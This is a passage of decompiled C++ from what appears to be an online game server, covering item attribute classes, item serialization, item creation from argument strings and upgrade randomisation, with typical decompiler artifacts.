CharClassRanger::cc_ClassType(ItemAttrCls_ItemChest *this) { return 15; } //----- (005D9CC0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Capsule::iac_GetUseableDateTime(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr.amulet.itemkey; } //----- (005D9CD0) -------------------------------------------------------- int __thiscall ItemAttrCls_WeaponTitlaLicence::iac_ItemClass(ItemAttrCls_WeaponTitlaLicence *this) { return 16; } //----- (005D9CE0) -------------------------------------------------------- int __thiscall CharClassMage::cc_PromoteClass(ItemAttrCls_KingdomQuestItem *this) { return 17; } //----- (005D9CF0) -------------------------------------------------------- int __thiscall CharClassWizMage::cc_PromoteClass(ItemAttrCls_MiniHouseSkin *this) { return 18; } //----- (005D9D00) -------------------------------------------------------- int __thiscall CharClassWarrock::cc_ClassType(ItemAttrCls_UpgradeRedGem *this) { return 19; } //----- (005D9D10) -------------------------------------------------------- int __thiscall CharClassWizard::cc_PromoteClass(ItemAttrCls_UpgradeBlueGem *this) { return 20; } //----- (005D9D20) -------------------------------------------------------- int __thiscall CharClassAssassin::cc_ClassType(ItemAttrCls_UpgradeGoldGem *this) { return 25; } //----- (005D9D30) -------------------------------------------------------- int __thiscall ItemAttrCls_KQStep::iac_ItemClass(ItemAttrCls_KQStep *this) { return 21; } //----- (005D9D40) -------------------------------------------------------- int __thiscall ItemAttrCls_WordLot::iac_GetLot(ItemAttrCls_KQStep *this, SHINE_ITEM_STRUCT *itm) { return *(_WORD *)&itm->itemattr.blot.lot; } //----- (005D9D50) -------------------------------------------------------- int __thiscall CharClassJoker::cc_PromoteClass(ItemAttrCls_Feed *this) { return 22; } //----- (005D9D60) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Riding::iac_GetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2); } //----- (005D9D70) -------------------------------------------------------- int __thiscall CharClassChaser::cc_PromoteClass(ItemAttrCls_Riding *this) { return 23; } //----- (005D9D80) -------------------------------------------------------- int __thiscall CharClassCloser::cc_PromoteClass(ItemAttrCls_Amount *this) { return 24; } //----- (005D9D90) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_ItemClass(ItemAttrCls_CostumWeapon *this) { return 27; } //----- (005D9DA0) -------------------------------------------------------- int __thiscall ItemAttrCls_ActionItem::iac_ItemClass(ItemAttrCls_ActionItem *this) { return 28; } //----- (005D9DB0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Enchant::iac_GetLot(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm) { return itm->itemattr.blot.lot; } //----- (005D9DC0) -------------------------------------------------------- void __thiscall ItemAttrCls_Enchant::iac_SetLot(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm, unsigned int lot) { itm->itemattr.blot.lot = lot; } //----- (005D9DD0) -------------------------------------------------------- int __thiscall ItemAttrCls_Enchant::iac_ItemClass(ItemAttrCls_Enchant *this) { return 30; } //----- (005D9DE0) -------------------------------------------------------- int __thiscall ItemAttrCls_GBCoin::iac_ItemClass(ItemAttrCls_GBCoin *this) { return 31; } //----- (005D9DF0) -------------------------------------------------------- int __thiscall ItemAttrCls_Capsule::iac_ItemClass(ItemAttrCls_Capsule *this) { return 32; } //----- (005D9E00) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_SetEndTime(ItemAttributeClass *this, ShineDateTime *deletetime, int hour, tm *curtime, int curhour) { int v5; // edx@3 struct tm timestr; // [sp+0h] [bp-24h]@3 if ( hour > 0 ) { memcpy((void *)×tr, curtime, sizeof(timestr)); timestr.tm_hour = curhour + hour; mktime(×tr); v5 = timestr.tm_min; LOBYTE(deletetime->_bf0) = LOBYTE(timestr.tm_year) - 100; deletetime->_bf0 = deletetime->_bf0 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v5 << 6)) << 6)) << 13); } else { deletetime->_bf0 = 1992027391; } } //----- (005D9EA0) -------------------------------------------------------- void __thiscall ItemAttrCls_Amount::iac_SetAmount(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm, int amount) { *(_DWORD *)&itm->itemattr.blot.lot = amount; } //----- (005D9EB0) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Amulet::iac_GetItemOptionStruct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm) { return &itm->itemattr.amulet.option; } //----- (005D9EC0) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Weapon::iac_GetItemOptionStruct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm) { return (ItemOptionStorage *)&itm->itemattr.binditem.portal[6].y; } //----- (005D9ED0) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Boot::iac_GetItemOptionStruct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm) { return (ItemOptionStorage *)itm->itemattr.amulet.upgradeopton; } //----- (005D9EE0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttributeClass::iac_GetItemOptionUpgrade(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char Type) { return 0; } //----- (005D9EF0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttrCls_Amulet::iac_GetItemOptionUpgrade(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char Type) { unsigned __int16 result; // ax@2 if ( (unsigned __int8)Type >= 5u ) result = 0; else result = itm->itemattr.amulet.upgradeopton[(unsigned __int8)Type]; return result; } //----- (005D9F10) -------------------------------------------------------- char *__thiscall ItemAttrCls_QuestLot::iac_fill2buffer(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_WORD *)buffer = *(_WORD *)&itm->itemattr.blot.lot; return buffer + 2; } //----- (005D9F30) -------------------------------------------------------- char *__thiscall ItemAttrCls_Furniture::iac_fill2buffer(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x24u); return buffer + 36; } //----- (005D9F50) -------------------------------------------------------- char *__thiscall ItemAttrCls_Decoration::iac_fill2buffer(ItemAttrCls_Decoration *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&itm->itemattr.blot.lot; return buffer + 8; } //----- (005D9F70) -------------------------------------------------------- char *__thiscall ItemAttrCls_SkillScroll::iac_fill2buffer(ItemAttrCls_GBCoin *this, SHINE_ITEM_STRUCT *itm, char *buffer) { return buffer + 1; } //----- (005D9F80) -------------------------------------------------------- char *__thiscall ItemAttrCls_BindItem::iac_fill2buffer(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x65u); return &buffer[10 * (unsigned __int8)*buffer + 1]; } //----- (005D9FB0) -------------------------------------------------------- char *__thiscall ItemAttrCls_ItemChest::iac_fill2buffer(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x41u); return &buffer[8 * (*buffer & 0xF) + 1]; } //----- (005D9FE0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Capsule::iac_fill2buffer(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&itm->itemattr.blot.lot; *((_DWORD *)buffer + 2) = *(_DWORD *)&itm->itemattr.amulet.itemkey.binary.gap0[0]; return buffer + 12; } //----- (005DA010) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amount::iac_fill2buffer(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_DWORD *)buffer = *(_DWORD *)&itm->itemattr.blot.lot; return buffer + 4; } //----- (005DA030) -------------------------------------------------------- char *__thiscall ItemAttrCls_Enchant::iac_fill2buffer(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *buffer = itm->itemattr.blot.lot; return buffer + 1; } //----- (005DA050) -------------------------------------------------------- char *__thiscall ItemAttrCls_QuestLot::iac_fill2struct(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_WORD *)&itm->itemattr.blot.lot = *(_WORD *)buffer; return buffer + 2; } //----- (005DA070) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amount::iac_fill2struct(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_DWORD *)&itm->itemattr.blot.lot = *(_DWORD *)buffer; return buffer + 4; } //----- (005DA090) -------------------------------------------------------- char *__thiscall ItemAttrCls_Furniture::iac_fill2struct(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x24u); return buffer + 36; } //----- (005DA0B0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Decoration::iac_fill2struct(ItemAttrCls_Decoration *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)&itm->itemattr.blot.lot = *(_QWORD *)buffer; return buffer + 8; } //----- (005DA0D0) -------------------------------------------------------- char *__thiscall ItemAttrCls_BindItem::iac_fill2struct(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, sizeof(itm->itemattr)); return &buffer[10 * (unsigned __int8)*buffer + 1]; } //----- (005DA100) -------------------------------------------------------- char *__thiscall ItemAttrCls_ItemChest::iac_fill2struct(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x41u); return &buffer[8 * (*buffer & 0xF) + 1]; } //----- (005DA130) -------------------------------------------------------- char *__thiscall ItemAttrCls_Enchant::iac_fill2struct(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm, char *buffer) { itm->itemattr.blot.lot = *buffer; return buffer + 1; } //----- (005DA150) -------------------------------------------------------- char *__thiscall ItemAttrCls_Capsule::iac_fill2struct(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)&itm->itemattr.blot.lot = *(_QWORD *)buffer; *(_DWORD *)&itm->itemattr.amulet.itemkey.binary.gap0[0] = *((_DWORD *)buffer + 2); return buffer + 12; } //----- (005DA180) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_WordLot::iac_GetAttrSize(ItemAttrCls_QuestLot *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 2; } //----- (005DA190) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_DwrdLot::iac_GetAttrSize(ItemAttrCls_ActionItem *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 4; } //----- (005DA1A0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Furniture::iac_GetAttrSize(ItemAttrCls_Furniture *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 36; } //----- (005DA1B0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Decoration::iac_GetAttrSize(ItemAttrCls_Decoration *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 8; } //----- (005DA1C0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_BindItem::iac_GetAttrSize(ItemAttrCls_BindItem *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 10 * itmattr->blot.lot + 1; } //----- (005DA1E0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ItemChest::iac_GetAttrSize(ItemAttrCls_ItemChest *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 65; } //----- (005DA1F0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Riding::iac_GetAttrSize(ItemAttrCls_Capsule *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 12; } //----- (005DA200) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_Setoption(ItemAttributeClass *this, ItemOptionStorage *option, char *arg) { char v3; // al@1 ItemOptionStorage *v4; // edi@3 unsigned int v5; // esi@3 __int16 v6; // dx@5 int v7; // eax@5 v3 = arg[2]; if ( v3 == 73 || v3 == 105 ) { option->fixed.optionnumber.str._bf0 |= 1u; } else { v4 = option; v5 = (unsigned int)option->fixed.optionnumber.str._bf0 >> 1; if ( (signed int)v5 < 8 ) { if ( sscanf(arg + 2, "%d/%d") == 2 ) { v6 = (signed __int16)arg; v7 = (int)((char *)v4 + 2 * v5 + v5); *(_BYTE *)(v7 + 1) = (_BYTE)option; *(_WORD *)(v7 + 2) = v6; v4->fixed.optionnumber.str._bf0 = v4->fixed.optionnumber.str._bf0 & 1 ^ ((v4->fixed.optionnumber.str._bf0 & 0xFE) + 2); } } } } //----- (005DA280) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = arg; } } //----- (005DA2C0) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = (_WORD)arg; } } //----- (005DA300) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // edi@1 char v5; // al@1 char v6; // al@4 char v7; // al@7 signed int v8; // edx@9 bool v9; // zf@9 bool v10; // sf@9 int v11; // ecx@10 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { itm->iti_itemstruct.itemattr.amulet.upgradefailcount = 0; itm->iti_itemstruct.itemattr.amulet.strengthen = 0; itm->iti_itemstruct.itemattr.amulet.upgrade = 0; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[0] = 0i64; itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot &= 0xFFu; itm->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 1; itm->iti_itemstruct.itemattr.blot.lot = 0; } v6 = v4[1]; if ( v6 == 80 || v6 == 112 ) ItemAttributeClass::iac_Setoption(&this->baseclass_0.baseclass_0, &itm->iti_itemstruct.itemattr.amulet.option, v4); itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged = 0; v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v8 = 0; v9 = arg == 0; v10 = (signed int)arg < 0; itm->iti_itemstruct.itemattr.amulet.upgrade = (char)arg; if ( !(v10 | v9) ) { do { rndbox.rb_box[5].rs_point.value = rndbox.rb_box[5].rs_point.mask & (rndbox.rb_box[5].rs_point.value + 1); v11 = rndbox.rb_box[5].rs_slot[rndbox.rb_box[5].rs_point.value]; rndbox.rb_box[30].rs_point.value = rndbox.rb_box[30].rs_point.mask & (rndbox.rb_box[30].rs_point.value + 1); itm->iti_itemstruct.itemattr.amulet.upgradeopton[v11] += rndbox.rb_box[30].rs_slot[rndbox.rb_box[30].rs_point.value] + 5; ++v8; } while ( v8 < (signed int)arg ); } } } //----- (005DA3D0) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 char v8; // al@12 ItemTotalInformation *v9; // eax@18 int v10; // ecx@18 signed int v11; // edx@18 int v12; // ecx@20 signed int v13; // edx@20 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v9 = itm; BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; HIBYTE(v9->iti_itemstruct.itemattr.wlot.lot) = 0; v9->iti_itemstruct.itemattr.blot.lot = 0; v9->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; v10 = (int)&v9->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[1]; v11 = 3; do { *(_WORD *)(v10 - 2) = -1; *(_DWORD *)v10 = 0; v10 += 6; --v11; } while ( v11 ); *(unsigned int *)((char *)&v9->iti_itemstruct.itemattr.binditem.portal[5].x + 2) &= 0xFFu; v9->iti_itemstruct.itemattr.amulet.upgradeopton[3] = -1; LOBYTE(v9->iti_itemstruct.itemattr.amulet.upgradeopton[4]) = 0; LOBYTE(v9->iti_itemstruct.itemattr.binditem.portal[6].y) = 1; BYTE2(v9->iti_itemstruct.itemattr.binditem.portal[5].x) = 0; *(unsigned int *)((char *)&v9->iti_itemstruct.itemattr.dlot.lot + 3) = 0; v12 = (int)&v9->iti_itemstruct.itemattr.amulet.option.optionlist[5].itemoption_value; v13 = 3; do { *(_WORD *)(v12 - 2) = -1; *(_BYTE *)v12 = -1; v12 += 3; --v13; } while ( v13 ); HIBYTE(v9->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = 0; BYTE1(v9->iti_itemstruct.itemattr.binditem.portal[5].x) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, (ItemOptionStorage *)&itm->iti_itemstruct.itemattr.binditem.portal[6].y, arg); v7 = v4[1]; switch ( v7 ) { case 85: case 117: sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; break; case 83: case 115: sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; break; case 69: case 101: sscanf(v4 + 2, "%d"); v8 = (char)itm; if ( (signed int)itm >= 2 ) v8 = 2; HIBYTE(v6->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = v8; break; } } } //----- (005DA500) -------------------------------------------------------- void __thiscall ItemAttrCls_Shield::iac_itemcreate(ItemAttrCls_Shield *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // eax@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; *(SHINE_PUT_ON_BELONGED_ITEM *)((char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3) &= 0xFFu; BYTE2(v8->iti_itemstruct.itemattr.dlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; BYTE3(v8->iti_itemstruct.itemattr.amulet.IsPutOnBelonged) = 0; *(unsigned int *)((char *)&v8->iti_itemstruct.itemattr.dlot.lot + 3) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (005DA5B0) -------------------------------------------------------- void __thiscall ItemAttrCls_Boot::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // eax@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; *(SHINE_PUT_ON_BELONGED_ITEM *)((char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3) &= 0xFFu; BYTE2(v8->iti_itemstruct.itemattr.dlot.lot) = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; BYTE3(v8->iti_itemstruct.itemattr.amulet.IsPutOnBelonged) = 0; *(unsigned int *)((char *)&v8->iti_itemstruct.itemattr.dlot.lot + 3) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (005DA660) -------------------------------------------------------- void __thiscall ItemAttrCls_Furniture::iac_itemcreate(ItemAttrCls_Furniture *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // dl@1 int v5; // esi@1 v4 = itm->iti_itemstruct.itemattr.blot.lot & 0xFE; BYTE3(itm->iti_itemstruct.itemattr.dlot.lot) = 0; v5 = *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3); itm->iti_itemstruct.itemattr.blot.lot = v4; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) = (unsigned __int8)v5; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[2]) = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[2] &= 0xFFu; *(SHINE_PUT_ON_BELONGED_ITEM *)((char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3) = 1133117440; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[3] = 1136820224; *(_QWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary._bf4 + 3) = 1086324736i64; *(unsigned __int16 *)((char *)&itm->iti_itemstruct.itemattr.wlot.lot + 1) = 0; LOBYTE(itm->iti_itemstruct.itemattr.amulet.upgradeopton[4]) = 0; *(_QWORD *)((char *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] + 1) = 0i64; } //----- (005DA6B0) -------------------------------------------------------- void __thiscall ItemAttrCls_Decoration::iac_itemcreate(ItemAttrCls_Decoration *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_QWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0i64; itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged = 0; } //----- (005DA6D0) -------------------------------------------------------- void __thiscall ItemAttrCls_BindItem::iac_itemcreate(ItemAttrCls_BindItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 char v6; // al@4 char *v7; // ecx@6 bool v8; // zf@6 bool v9; // sf@6 char *v10; // eax@7 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) ((void (__stdcall *)(_DWORD, _DWORD, _DWORD))this->baseclass_0.baseclass_0.vfptr->iac_itemcreate)(itmid, itm, "-n1"); v6 = v4[1]; if ( v6 == 78 || v6 == 110 ) { sscanf(v4 + 2, "%d"); v7 = arg; v8 = arg == 0; v9 = (signed int)arg < 0; itm->iti_itemstruct.itemattr.blot.lot = (char)arg; if ( !(v9 | v8) ) { v10 = (char *)&itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3; do { *((_DWORD *)v10 - 1) = 10000; *(_DWORD *)v10 = 10000; *((_WORD *)v10 - 3) = -1; v10 += 10; --v7; } while ( v7 ); } } } //----- (005DA750) -------------------------------------------------------- void __thiscall ItemAttrCls_ItemChest::iac_itemcreate(ItemAttrCls_ItemChest *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 79 || v4 == 111 ) itm->iti_itemstruct.itemattr.blot.lot &= 0xF0u; } //----- (005DA770) -------------------------------------------------------- void __thiscall ItemAttrCls_MiniHouseSkin::iac_itemcreate(ItemAttrCls_ActionItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; } //----- (005DA780) -------------------------------------------------------- void __thiscall ItemAttrCls_KQStep::iac_itemcreate(ItemAttrCls_KQStep *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 79 || v4 == 111 ) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; } else { if ( v4 == 83 || v4 == 115 ) { sscanf(arg + 2, "%d"); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = (_WORD)arg; } } } //----- (005DA7D0) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_itemcreate(ItemAttrCls_Riding *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = RidingInitHungry(itmid); *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 2) = 0; HIWORD(itm->iti_itemstruct.itemattr.amulet.IsPutOnBelonged) = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[0] = 0; } //----- (005DA800) -------------------------------------------------------- void __thiscall ItemAttrCls_Amount::iac_itemcreate(ItemAttrCls_Amount *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { ItemDataBox::ItemDataBoxIndex *v4; // eax@1 v4 = ItemDataBox::operator__(&itemdatabox, itm->iti_itemstruct.itemid); if ( v4 ) *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = v4->data->MaxLot; else *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 1000; } //----- (005DA840) -------------------------------------------------------- void __thiscall ItemAttrCls_CostumWeapon::iac_itemcreate(ItemAttrCls_CostumWeapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = WeaponCostumInitCharge(itmid); } //----- (005DA870) -------------------------------------------------------- void __thiscall ItemAttrCls_Enchant::iac_itemcreate(ItemAttrCls_Enchant *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); itm->iti_itemstruct.itemattr.blot.lot = (char)arg; } } //----- (005DA8B0) -------------------------------------------------------- void __thiscall ItemAttrCls_Capsule::iac_itemcreate(ItemAttrCls_Capsule *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { *(_QWORD *)&itm->iti_itemstruct.itemattr.blot.lot = 0i64; *(_DWORD *)&itm->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[0] = 0; } //----- (005DA8D0) -------------------------------------------------------- int __thiscall ItemAttrCls_CostumWeapon::iac_GetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti) { return *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot; } //----- (005DA8E0) -------------------------------------------------------- void __thiscall ItemAttrCls_CostumWeapon::iac_SetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti, int num) { *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot = num; } //----- (005DA8F0) -------------------------------------------------------- char __thiscall ItemAttrCls_Riding::iac_GetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct) { return HIWORD(itemstruct->itemattr.amulet.IsPutOnBelonged) >> 15; } //----- (005DA900) -------------------------------------------------------- void __thiscall ItemAttrCls_Riding::iac_SetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct, char ride) { HIWORD(itemstruct->itemattr.amulet.IsPutOnBelonged) = HIWORD(itemstruct->itemattr.amulet.IsPutOnBelonged) & 0x7FFF | ((unsigned __int8)ride << 15); } //----- (005DA930) -------------------------------------------------------- int __cdecl upgradeselect(ShineReward *reward) { unsigned int v1; // eax@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // edx@1 int v7; // esi@2 v1 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v1; v2 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v1]]; v3 = *((_DWORD *)v2 + 8193) & (*((_DWORD *)v2 + 8192) + 1); *((_DWORD *)v2 + 8192) = v3; v4 = *(_WORD *)&v2[2 * v3]; v5 = 0; v6 = (char *)reward->Upgrade; do { v7 = *(_WORD *)v6; if ( v4 < v7 ) break; v4 -= v7; ++v5; v6 += 2; } while ( v5 < 0xA ); return v5 < 0xA ? v5 : 0; } //----- (005DA9A0) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm) { *(_DWORD 